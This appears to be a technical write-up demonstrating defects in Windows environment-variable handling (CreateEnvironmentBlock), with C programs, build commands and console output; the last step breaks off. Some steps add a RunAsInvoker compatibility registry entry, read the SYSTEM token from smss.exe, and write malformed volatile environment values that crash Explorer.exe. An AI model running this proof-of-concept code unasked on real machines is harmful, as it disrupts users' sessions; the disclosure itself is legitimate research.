// Copyleft © 2004-2025, Stefan Kanthak <stefan.kanthak@nexgo.de>
#define STRICT
#define UNICODE
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
const STARTUPINFO si = {sizeof(si)};
__declspec(noreturn)
VOID CDECL wmainCRTStartup(VOID)
{
PROCESS_INFORMATION pi;
DWORD dwProcess;
DWORD dwThread;
DWORD dwError = ERROR_SUCCESS;
#ifndef BLUNDER
if (!CreateProcess(L"C:\\Windows\\System32\\Cmd.exe",
L"%COMSPEC% /D /C SET ;",
#else
if (!CreateProcess(L"C:\\Windows\\System32\\CScript.exe",
L"CScript blunder.vbs",
#endif
(LPSECURITY_ATTRIBUTES) NULL,
(LPSECURITY_ATTRIBUTES) NULL,
FALSE,
CREATE_DEFAULT_ERROR_MODE | CREATE_UNICODE_ENVIRONMENT,
#ifndef blunder
L"",
#else
L"__COMPAT_LAYER=DisableThemes\0",
#endif
(LPCWSTR) NULL,
&si,
&pi))
dwError = GetLastError();
else
{
if (WaitForSingleObject(pi.hThread, INFINITE) == WAIT_FAILED)
dwError = GetLastError();
if (!GetExitCodeThread(pi.hThread, &dwThread))
dwError = GetLastError();
else
dwError = 0UL - dwThread;
if (!CloseHandle(pi.hThread))
dwError = GetLastError();
if (WaitForSingleObject(pi.hProcess, INFINITE) == WAIT_FAILED)
dwError = GetLastError();
if (!GetExitCodeProcess(pi.hProcess, &dwProcess))
dwError = GetLastError();
else
dwError = 0UL - dwProcess;
if (!CloseHandle(pi.hProcess))
dwError = GetLastError();
}
ExitProcess(dwError);
}
Compile and link the source file blunder.c
created in
step 1. a first time:
SET CL=/W4 /Zl SET LINK=/ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE CL.EXE blunder.c kernel32.libNote: the command lines can be copied and pasted as block into a Command Processor window.
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. blunder.c blunder.c(36) : warning C4090: 'function' : different 'const' qualifiers Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE /out:blunder.exe blunder.obj kernel32.lib
Execute the console application blunder.exe
built in
step 2. and evaluate its exit code:
.\blunder.exe ECHO %ERRORLEVEL%
=C:=C:\Users\Stefan\Desktop
COMSPEC=C:\Windows\SysWOW64\Cmd.exe
PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.JS;.WS;.MSC
PROMPT=$P$G
0
Note: started with an empty
process environment block, the
Command Processor
Cmd.exe
displays only the
environment variables defined by itself – including one that
starts with an equal sign!
Compile and link the source file blunder.c
created in
step 1. a second time, now with the preprocessor macro
blunder
defined:
CL.EXE /Dblunder blunder.c kernel32.lib
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. blunder.c blunder.c(36) : warning C4090: 'function' : different 'const' qualifiers Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE /out:blunder.exe blunder.obj kernel32.lib
Create the registry entry %COMSPEC%
alias
%SystemRoot%\System32\cmd.exe
alias
C:\Windows\System32\cmd.exe
with value
RunAsInvoker
in the registry key
HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\Layers
,
then execute the console application blunder.exe
built in step 4. and evaluate its exit code:
REG.EXE ADD "HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\Layers" /V "%COMSPEC%" /T REG_SZ /D RunAsInvoker .\blunder.exe ECHO %ERRORLEVEL%
The operation completed successfully. =C:=C:\Users\Stefan\Desktop COMSPEC=C:\Windows\SysWOW64\Cmd.exe PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.JS;.WS;.MSC PROMPT=$P$G __COMPAT_LAYER=DisableThemes RunAsInvoker 0Note: the path name supplied to the Win32 function
CreateProcess()
is most obviously looked up in the registry before
file system redirection
and
registry redirection
are applied!
Compile and link the source file blunder.c
created in
step 1. a third time, now with the preprocessor macro
BLUNDER
defined:
CL.EXE /DBLUNDER blunder.c kernel32.lib
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. blunder.c blunder.c(36) : warning C4090: 'function' : different 'const' qualifiers Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE /out:blunder.exe blunder.obj kernel32.lib
Create the text file blunder.vbs
with the following
content next to the console application blunder.exe
built in step 6.:
Rem Copyleft © 1997-2025, Stefan Kanthak <stefan.kanthak@nexgo.de>
With WScript.CreateObject("WScript.Shell")
WScript.StdOut.WriteLine "Environment Variables"
For Each strScope In Array("PROCESS", "SYSTEM", "USER", "VOLATILE")
WScript.StdOut.WriteLine
WScript.StdOut.WriteLine "Scope '" & strScope & "': " & .Environment(strScope).Count & " items"
For Each strItem In .Environment(strScope)
WScript.StdOut.WriteLine vbTab & strItem
Next
Next
End With
Execute the console application blunder.exe
built in
step 6. and evaluate its exit code:
.\blunder.exe ECHO %ERRORLEVEL%
Microsoft (R) Windows Script Host, Version 5.812 Copyright (C) Microsoft Corporation. All rights reserved. Environment Variables Scope 'PROCESS': 0 items Scope 'SYSTEM': 15 items ComSpec=%SystemRoot%\system32\cmd.exe DriverData=C:\Windows\System32\Drivers\DriverData OS=Windows_NT Path=%SystemRoot%\system32;%SystemRoot%;%SystemRoot%\System32\Wbem;%SYSTEMROOT%\System32\WindowsPowerShell\v1.0\;%SYSTEMROOT%\System32\OpenSSH\ PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC PROCESSOR_ARCHITECTURE=AMD64 PSModulePath=%ProgramFiles%\WindowsPowerShell\Modules;%SystemRoot%\system32\WindowsPowerShell\v1.0\Modules TEMP=%SystemRoot%\TEMP TMP=%SystemRoot%\TEMP USERNAME=SYSTEM windir=%SystemRoot% NUMBER_OF_PROCESSORS=4 PROCESSOR_IDENTIFIER=Intel64 Family 6 Model 94 Stepping 3, GenuineIntel PROCESSOR_LEVEL=6 PROCESSOR_REVISION=5e03 Scope 'USER': 4 items Path=%USERPROFILE%\AppData\Local\Microsoft\WindowsApps; TEMP=%USERPROFILE%\AppData\Local\Temp TMP=%USERPROFILE%\AppData\Local\Temp OneDrive=C:\Users\Stefan\OneDrive Scope 'VOLATILE': 9 items LOGONSERVER=\\AMNESIAC USERDOMAIN=AMNESIAC USERNAME=Stefan USERPROFILE=C:\Users\Stefan HOMEPATH=\Users\Stefan HOMEDRIVE=C: APPDATA=C:\Users\Stefan\AppData\Roaming LOCALAPPDATA=C:\Users\Stefan\AppData\Local USERDOMAIN_ROAMINGPROFILE=AMNESIAC 0Note: started with an empty process environment block, the VBScript
blunder.vbs
executed by the
Console Based Script Host
CScript.exe
displays
only the environment variables stored in the registry keys named
above – except the subkey
HKEY_CURRENT_USER\Volatile Environment\1
shown below!
single point of failure.
Start the Command Processor
Cmd.exe
, then query
the registry keys
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Environment
,
HKEY_USERS\S-1-5-18\Environment
and
HKEY_USERS\S-1-5-18\Volatile Environment
to display the
persistent system environment variables and the (persistent and
volatile) user environment variables of the
NT AUTHORITY\SYSTEM
alias
LocalSystem
user account:
REG.EXE QUERY "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Environment" REG.EXE QUERY "HKEY_USERS\S-1-5-18\Environment" REG.EXE QUERY "HKEY_USERS\S-1-5-18\Volatile Environment"Note: the MSKB article 243300 gives the well-known SID
S-1-5-18
for the
NT AUTHORITY\SYSTEM
alias
LocalSystem
user account.
Note: the command lines can be copied and pasted as block into a Command Processor window.
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Environment ComSpec REG_EXPAND_SZ %SystemRoot%\system32\cmd.exe DriverData REG_SZ C:\Windows\System32\Drivers\DriverData OS REG_SZ Windows_NT Path REG_EXPAND_SZ %SystemRoot%\system32;%SystemRoot%;%SystemRoot%\System32\Wbem;%SYSTEMROOT%\System32\WindowsPowerShell\v1.0\;%SYSTEMROOT%\System32\OpenSSH\ PATHEXT REG_SZ .COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC PROCESSOR_ARCHITECTURE REG_SZ AMD64 PSModulePath REG_EXPAND_SZ %ProgramFiles%\WindowsPowerShell\Modules;%SystemRoot%\system32\WindowsPowerShell\v1.0\Modules TEMP REG_EXPAND_SZ %SystemRoot%\TEMP TMP REG_EXPAND_SZ %SystemRoot%\TEMP USERNAME REG_SZ SYSTEM windir REG_EXPAND_SZ %SystemRoot% NUMBER_OF_PROCESSORS REG_SZ 4 PROCESSOR_IDENTIFIER REG_SZ Intel64 Family 6 Model 94 Stepping 3, GenuineIntel PROCESSOR_LEVEL REG_SZ 6 PROCESSOR_REVISION REG_SZ 5e03 HKEY_USERS\S-1-5-18\Environment Path REG_EXPAND_SZ %USERPROFILE%\AppData\Local\Microsoft\WindowsApps; TEMP REG_EXPAND_SZ %USERPROFILE%\AppData\Local\Temp TMP REG_EXPAND_SZ %USERPROFILE%\AppData\Local\Temp ERROR: The specified registry key or value was not found.Caveat: note the highlighted references to the yet undefined environment variables
ProgramFiles
, SystemRoot
,
SYSTEMROOT
and USERPROFILE
!
Windows Confidential: The hidden variables
Query the registry keys HKEY_CURRENT_USER\Environment
and HKEY_CURRENT_USER\Volatile Environment
of your
own (standard) user account for comparison:
REG.EXE QUERY "HKEY_CURRENT_USER\Environment" REG.EXE QUERY "HKEY_CURRENT_USER\Volatile Environment" /S
HKEY_CURRENT_USER\Environment Path REG_EXPAND_SZ %USERPROFILE%\AppData\Local\Microsoft\WindowsApps; TEMP REG_EXPAND_SZ %USERPROFILE%\AppData\Local\Temp TMP REG_EXPAND_SZ %USERPROFILE%\AppData\Local\Temp OneDrive REG_EXPAND_SZ C:\Users\Stefan\OneDrive HKEY_CURRENT_USER\Volatile Environment LOGONSERVER REG_SZ \\AMNESIAC USERDOMAIN REG_SZ AMNESIAC USERNAME REG_SZ Stefan USERPROFILE REG_SZ C:\Users\Stefan HOMEPATH REG_SZ \Users\Stefan HOMEDRIVE REG_SZ C: APPDATA REG_SZ C:\Users\Stefan\AppData\Roaming LOCALAPPDATA REG_SZ C:\Users\Stefan\AppData\Local USERDOMAIN_ROAMINGPROFILE REG_SZ AMNESIAC HKEY_CURRENT_USER\Volatile Environment\1 SESSIONNAME REG_SZ Console CLIENTNAME REG_SZCaveat: again note the highlighted references to the yet undefined environment variable
USERPROFILE
, but also the empty
volatile user environment variable CLIENTNAME
!
Create the text file blunder.c
with the following
content in an arbitrary, preferable empty directory:
// Copyleft © 2004-2025, Stefan Kanthak <stefan.kanthak@nexgo.de>
#define STRICT
#define UNICODE
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
#include <userenv.h>
__declspec(noreturn)
VOID CDECL wmainCRTStartup(VOID)
{
LPWSTR lpBlock;
LPWSTR lpBlunder;
DWORD dwBlunder;
DWORD dwError;
HANDLE hError = GetStdHandle(STD_ERROR_HANDLE);
if (!CreateEnvironmentBlock(&lpBlock, (HANDLE) NULL, FALSE))
dwError = GetLastError();
else
{
for (lpBlunder = lpBlock;
lpBlunder[0] != L'\0';
lpBlunder[dwBlunder = wcslen(lpBlunder)] = L'\n', lpBlunder += ++dwBlunder)
continue;
if (!WriteConsole(hError, lpBlock, dwBlunder = lpBlunder - lpBlock, &dwError, NULL))
dwError = GetLastError();
else
if (dwError ^= dwBlunder)
dwError = ERROR_WRITE_FAULT;
// else
// dwError = ERROR_SUCCESS;
if (!DestroyEnvironmentBlock(lpBlock))
dwError = GetLastError();
}
ExitProcess(dwError);
}
Compile and link the source file blunder.c
created in
step 3.:
SET CL=/Oi /W4 /Zl SET LINK=/ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE CL.EXE blunder.c kernel32.lib userenv.lib
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. blunder.c Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE /out:blunder.exe blunder.obj kernel32.lib userenv.lib
Execute the console application blunder.exe
built in
step 4. and evaluate its exit code:
.\blunder.exe CERTUTIL.EXE /ERROR %ERRORLEVEL%
ALLUSERSPROFILE=C:\ProgramData CommonProgramFiles=C:\Program Files\Common Files CommonProgramFiles(x86)=C:\Program Files (x86)\Common Files CommonProgramW6432=C:\Program Files\Common Files COMPUTERNAME=AMNESIAC ComSpec=C:\Windows\system32\cmd.exe DriverData=C:\Windows\System32\Drivers\DriverData NUMBER_OF_PROCESSORS=4 OS=Windows_NT Path=C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\ PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC PROCESSOR_ARCHITECTURE=AMD64 PROCESSOR_IDENTIFIER=Intel64 Family 6 Model 94 Stepping 3, GenuineIntel PROCESSOR_LEVEL=6 PROCESSOR_REVISION=5e03 ProgramData=C:\ProgramData ProgramFiles=C:\Program Files (x86) ProgramFiles(x86)=C:\Program Files (x86) ProgramW6432=C:\Program Files PSModulePath=%Program Files%\WindowsPowerShell\Modules;C:\Windows\system32\WindowsPowerShell\v1.0\Modules PUBLIC=C:\Users\Public SystemDrive=C: SystemRoot=C:\Windows TEMP=C:\Windows\TEMP TMP=C:\Windows\TEMP USERNAME=SYSTEM USERPROFILE=C:\Users\Default windir=C:\Windows 0x0 (WIN32: 0 ERROR_SUCCESS) -- 0 (0) Error message text: The operation completed successfully. CertUtil: -error command completed successfully.Note: the Win32 function
CreateEnvironmentBlock()
defines the (underlined) programmatic system environment variables
ALLUSERSPROFILE
, CommonProgramFiles
,
CommonProgramFiles(x86)
,
CommonProgramW6432
, COMPUTERNAME
,
ProgramData
, ProgramFiles
,
ProgramFiles(x86)
, ProgramW6432
,
PUBLIC
, SystemDrive
and
SystemRoot
plus the (underlined) programmatic
user environment variable USERPROFILE
,
processes the persistent system environment variables stored in the
registry key
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Environment
and expands their references to SystemRoot
.
OUCH¹: it but fails to expand the
(highlighted) reference to ProgramFiles
!
OUCH²: contrary to the last
MSDN article
cited above, the (highlighted) system environment variable
PROCESSOR_ARCHITECTURE
is wrong and
the system environment variable PROCESSOR_ARCHITEW6432
is missing – since blunder.exe
is a 32-bit
application the latter should exist with value AMD64
and the former should have the value x86
!
Overwrite the text file blunder.c
created in
step 3. with the following content:
// Copyright © 2004-2025, Stefan Kanthak <stefan.kanthak@nexgo.de>
#define STRICT
#define UNICODE
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
#include <userenv.h>
#include <tlhelp32.h>
__declspec(noreturn)
VOID CDECL wmainCRTStartup(VOID)
{
PROCESSENTRY32 pe;
LPWSTR lpBlock;
LPWSTR lpBlunder;
DWORD dwBlunder;
DWORD dwError;
DWORD dwProcess = 0UL;
HANDLE hProcess;
HANDLE hError = GetStdHandle(STD_ERROR_HANDLE);
HANDLE hToken;
HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0UL);
if (hSnapshot == INVALID_HANDLE_VALUE)
dwError = GetLastError();
else
{
pe.dwSize = sizeof(pe);
if (!Process32First(hSnapshot, &pe))
dwError = GetLastError();
else
{
do
if ((pe.th32ParentProcessID == 4UL)
&& (memcmp(pe.szExeFile, L"smss.exe", sizeof(L"smss.exe")) == 0))
dwProcess = pe.th32ProcessID;
while (Process32Next(hSnapshot, &pe));
dwError = GetLastError();
// if (dwError == ERROR_NO_MORE_FILES)
// dwError = ERROR_SUCCESS;
}
if (!CloseHandle(hSnapshot))
dwError = GetLastError();
}
if (dwProcess == 0UL)
dwError = ERROR_NOT_FOUND;
else
{
hProcess = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, FALSE, dwProcess);
if (hProcess == NULL)
dwError = GetLastError();
else
{
if (!OpenProcessToken(hProcess, TOKEN_QUERY, &hToken))
dwError = GetLastError();
else
{
if (!CreateEnvironmentBlock(&lpBlock, hToken, FALSE))
dwError = GetLastError();
else
{
for (lpBlunder = lpBlock;
lpBlunder[0] != L'\0';
lpBlunder[dwBlunder = wcslen(lpBlunder)] = L'\n', lpBlunder += ++dwBlunder)
continue;
if (!WriteConsole(hError, lpBlock, dwBlunder = lpBlunder - lpBlock, &dwError, NULL))
dwError = GetLastError();
else
if (dwError ^= dwBlunder)
dwError = ERROR_WRITE_FAULT;
// else
// dwError = ERROR_SUCCESS;
if (!DestroyEnvironmentBlock(lpBlock))
dwError = GetLastError();
}
if (!CloseHandle(hToken))
dwError = GetLastError();
}
if (!CloseHandle(hProcess))
dwError = GetLastError();
}
}
ExitProcess(dwError);
}
Compile and link the source file blunder.c
overwritten
in step 6.:
CL.EXE blunder.c advapi32.lib kernel32.lib userenv.lib
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. blunder.c Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE /out:blunder.exe blunder.obj advapi32.lib kernel32.lib userenv.lib
Create the text file blunder.xml
with the following
content next to the console application blunder.exe
built in step 7.:
<?xml version='1.0' encoding='UTF-8' standalone='yes' ?>
<!-- Copyright (C) 2004-2025, Stefan Kanthak -->
<assembly manifestVersion='1.0' xmlns='urn:schemas-microsoft-com:asm.v1'>
<assemblyIdentity name='Blunder' processorArchitecture='*' type='win32' version='0.8.1.5' />
<trustInfo xmlns='urn:schemas-microsoft-com:asm.v2'>
<security>
<requestedPrivileges>
<requestedExecutionLevel level='requireAdministrator' uiAccess='false' />
</requestedPrivileges>
</security>
</trustInfo>
</assembly>
Embed the
application manifest
blunder.xml
created in step 8. in the console
application blunder.exe
built in step 7.:
MT.EXE /CANONICALIZE /MANIFEST blunder.xml /OUTPUTRESOURCE:blunder.exeNote: the Manifest Tool
MT.exe
is shipped with the Windows Software Development Kit.
Microsoft (R) Manifest Tool version 6.1.7716.0 Copyright (c) Microsoft Corporation 2009. All rights reserved.
Execute the console application blunder.exe
built in
step 7. with elevated access rights and evaluate its exit code:
.\blunder.exe CERTUTIL.EXE /ERROR %ERRORLEVEL%
ALLUSERSPROFILE=C:\ProgramData APPDATA=C:\Windows\system32\config\systemprofile\AppData\Roaming CommonProgramFiles=C:\Program Files\Common Files CommonProgramFiles(x86)=C:\Program Files (x86)\Common Files CommonProgramW6432=C:\Program Files\Common Files COMPUTERNAME=AMNESIAC ComSpec=C:\Windows\system32\cmd.exe DriverData=C:\Windows\System32\Drivers\DriverData LOCALAPPDATA=C:\Windows\system32\config\systemprofile\AppData\Local NUMBER_OF_PROCESSORS=4 OS=Windows_NT Path=C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\WindowsApps PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC PROCESSOR_ARCHITECTURE=AMD64 PROCESSOR_IDENTIFIER=Intel64 Family 6 Model 94 Stepping 3, GenuineIntel PROCESSOR_LEVEL=6 PROCESSOR_REVISION=5e03 ProgramData=C:\ProgramData ProgramFiles=C:\Program Files (x86) ProgramFiles(x86)=C:\Program Files (x86) ProgramW6432=C:\Program Files PSModulePath=%Program Files%\WindowsPowerShell\Modules;C:\Windows\system32\WindowsPowerShell\v1.0\Modules PUBLIC=C:\Users\Public SystemDrive=C: SystemRoot=C:\Windows TEMP=C:\Windows\TEMP TMP=C:\Windows\TEMP USERPROFILE=C:\Windows\system32\config\systemprofile windir=C:\Windows 0x0 (WIN32: 0 ERROR_SUCCESS) -- 0 (0) Error message text: The operation completed successfully. CertUtil: -error command completed successfully.Note: supplied with the access token of the
NT AUTHORITY\SYSTEM
alias
LocalSystem
user account grabbed from the
Session Manager
SMSS.exe
process,
the Win32 function
CreateEnvironmentBlock()
defines the (underlined) programmatic user environment variables
APPDATA
, LOCALAPPDATA
and
USERPROFILE
in addition to the programmatic system
environment variables, processes the persistent system and user
environment variables stored in the registry keys
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Environment
and HKEY_CURRENT_USER\Environment
alias
HKEY_USERS\S-1-5-18\Environment
, concatenates the
values of Path
and expands the references to
SystemRoot
and USERPROFILE
.
OUCH³: it but discards the (highlighted)
persistent user environment variables TEMP
and
TMP
!
Overwrite the text file blunder.c
created in
step 3. again, now with the following content:
// Copyright © 2004-2025, Stefan Kanthak <stefan.kanthak@nexgo.de>
#define STRICT
#define UNICODE
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
#include <userenv.h>
const LPCWSTR szBlunder[] = {L"BLUNDER", L"OS", L"Path", L"PUBLIC"};
__declspec(noreturn)
VOID CDECL wmainCRTStartup(VOID)
{
#ifndef blunder
LPWSTR lpBlock;
LPWSTR lpBlunder;
#endif
HKEY hBlunder;
DWORD dwBlunder = 0UL;
DWORD dwError = RegOpenKeyEx(HKEY_CURRENT_USER,
#ifdef BLUNDER
L"Environment",
#else
L"Volatile Environment",
#endif
REG_OPTION_RESERVED,
KEY_SET_VALUE,
&hBlunder);
HANDLE hError = GetStdHandle(STD_ERROR_HANDLE);
#ifndef blunder
HANDLE hToken;
HANDLE hProcess = GetCurrentProcess();
#endif
if (dwError == ERROR_SUCCESS)
{
do
dwError = RegSetValueEx(hBlunder,
szBlunder[dwBlunder],
0UL,
REG_SZ,
(LPBYTE) L"Blunder",
sizeof(L"Blunder"));
while (++dwBlunder < sizeof(szBlunder) / sizeof(*szBlunder));
dwError = RegSetValueEx(hBlunder,
L"SystemDrive",
0UL,
REG_SZ,
(LPBYTE) NULL,
0UL);
dwError = RegSetValueEx(hBlunder,
L"SystemRoot",
0UL,
REG_SZ,
(LPBYTE) L"",
sizeof(L""));
dwError = RegCloseKey(hBlunder);
}
#ifndef blunder
if (!OpenProcessToken(hProcess, TOKEN_QUERY, &hToken))
dwError = GetLastError();
else
{
if (!CreateEnvironmentBlock(&lpBlock, hToken, FALSE))
dwError = GetLastError();
else
{
for (lpBlunder = lpBlock;
lpBlunder[0] != L'\0';
lpBlunder[dwBlunder = wcslen(lpBlunder)] = L'\n', lpBlunder += ++dwBlunder)
continue;
if (!WriteConsole(hError, lpBlock, dwBlunder = lpBlunder - lpBlock, &dwError, NULL))
dwError = GetLastError();
else
if (dwError ^= dwBlunder)
dwError = ERROR_WRITE_FAULT;
// else
// dwError = ERROR_SUCCESS;
if (!DestroyEnvironmentBlock(lpBlock))
dwError = GetLastError();
}
if (!CloseHandle(hToken))
dwError = GetLastError();
}
#elif 0
if (SendMessage(GetShellWindow(),
WM_SETTINGCHANGE,
(WPARAM) 0,
(LPARAM) L"Environment") == 0)
dwError = GetLastError();
#else // blunder
if (SendMessageTimeout(HWND_BROADCAST,
WM_SETTINGCHANGE,
(WPARAM) 0,
(LPARAM) L"Environment",
SMTO_NORMAL,
0x815U,
(LPDWORD) NULL) == 0)
dwError = GetLastError();
#endif // blunder
ExitProcess(dwError);
}
Compile and link the source file blunder.c
overwritten
in step 11. a first time:
CL.EXE blunder.c advapi32.lib kernel32.lib userenv.lib
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. blunder.c Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE /out:blunder.exe blunder.obj advapi32.lib kernel32.lib userenv.lib
Execute the console application blunder.exe
built in
step 12. and evaluate its exit code:
.\blunder.exe CERTUTIL.EXE /ERROR %ERRORLEVEL%
ALLUSERSPROFILE=C:\ProgramData APPDATA=C:\Users\Stefan\AppData\Roaming BLUNDER=Blunder CommonProgramFiles=C:\Program Files (x86)\Common Files CommonProgramFiles(x86)=C:\Program Files (x86)\Common Files CommonProgramW6432=C:\Program Files\Common Files COMPUTERNAME=AMNESIAC ComSpec=C:\Windows\system32\cmd.exe DriverData=C:\Windows\System32\Drivers\DriverData HOMEDRIVE=C: HOMEPATH=\Users\Stefan LOCALAPPDATA=C:\Users\Stefan\AppData\Local LOGONSERVER=\\AMNESIAC NUMBER_OF_PROCESSORS=4 OneDrive=C:\Users\Stefan\OneDrive OS=Blunder Path=C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\Stefan\AppData\Local\Microsoft\WindowsApps;Blunder PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC PROCESSOR_ARCHITECTURE=AMD64 PROCESSOR_IDENTIFIER=Intel64 Family 6 Model 94 Stepping 3, GenuineIntel PROCESSOR_LEVEL=6 PROCESSOR_REVISION=5e03 ProgramData=C:\ProgramData ProgramFiles=C:\Program Files (x86) ProgramFiles(x86)=C:\Program Files (x86) ProgramW6432=C:\Program Files PSModulePath=%Program Files%\WindowsPowerShell\Modules;C:\Windows\system32\WindowsPowerShell\v1.0\Modules\ PUBLIC=Blunder SESSIONNAME=Console SystemDrive=Blunder TEMP=C:\Users\Stefan\AppData\Local\Temp TMP=C:\Users\Stefan\AppData\Local\Temp USERDOMAIN_ROAMINGPROFILE=AMNESIAC USERPROFILE=C:\Users\Stefan windir=C:\Windows 0x0 (WIN32: 0 ERROR_SUCCESS) -- 0 (0) Error message text: The operation completed successfully. CertUtil: -error command completed successfully.Note: supplied with the access token of a regular user account, the Win32 function
CreateEnvironmentBlock()
defines the programmatic user environment variables
APPDATA
, LOCALAPPDATA
and
USERPROFILE
in addition to the programmatic system
environment variables, processes the non-empty
persistent system and user environment variables stored in the
registry keys
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Environment
and HKEY_CURRENT_USER\Environment
alias
HKEY_USERS\‹security identifier›\Environment
plus the (underlined) non-empty volatile user
environment variables except USERDOMAIN
and
USERNAME
stored in the registry keys
HKEY_CURRENT_USER\Volatile Environment
and
HKEY_CURRENT_USER\Volatile Environment\‹session identifier›
,
concatenates the values of the variables Path
separated
by a semicolon and expands the references to SystemRoot
and USERPROFILE
.
OUCH⁴: it lets a volatile user environment
variable except LibPath
, OS2LibPath
and
Path
stored without value (here
SystemDrive
) overwrite a previously
defined (persistent or programmatic) (system or user) environment
variable with the same name with the value of the last non-empty
volatile user environment variable processed before!
OUCH⁵: it lets a volatile user environment
variable except LibPath
, OS2LibPath
and
Path
stored with empty value (here
SystemRoot
) discard a previously
defined (persistent or programmatic) (system or user) environment
variable with the same name!
Explorer.exe
, the graphical
shell, and let it as well as other applications which use COM classes and interfaces fail to work!
Compile and link the source file blunder.c
overwritten
in step 11. a second time, now with the preprocessor macro
blunder
defined:
CL.EXE /Dblunder blunder.c advapi32.lib kernel32.lib userenv.lib
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. blunder.c Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE /out:blunder.exe blunder.obj advapi32.lib kernel32.lib userenv.lib
Execute the console application blunder.exe
built in
step 14. and evaluate its exit code:
.\blunder.exe CERTUTIL.EXE /ERROR %ERRORLEVEL%
0x0 (WIN32: 0 ERROR_SUCCESS) -- 0 (0) Error message text: The operation completed successfully. CertUtil: -error command completed successfully.OUCH⁶: the graphical
shellExplorer
Explorer.exe
crashes almost
immediately, typically followed by other applications except the
Command Processor
Cmd.exe
– log off and
log on again to recover from this blunder!
Compile and link the source file blunder.c
overwritten
in step 11. a third time, now with the preprocessor macro
BLUNDER
defined:
CL.EXE /DBLUNDER blunder.c advapi32.lib kernel32.lib userenv.lib
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. blunder.c Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE /out:blunder.exe blunder.obj advapi32.lib kernel32.lib userenv.lib
Execute the console application blunder.exe
built in
step 16. and evaluate its exit code:
.\blunder.exe CERTUTIL.EXE /ERROR %ERRORLEVEL%
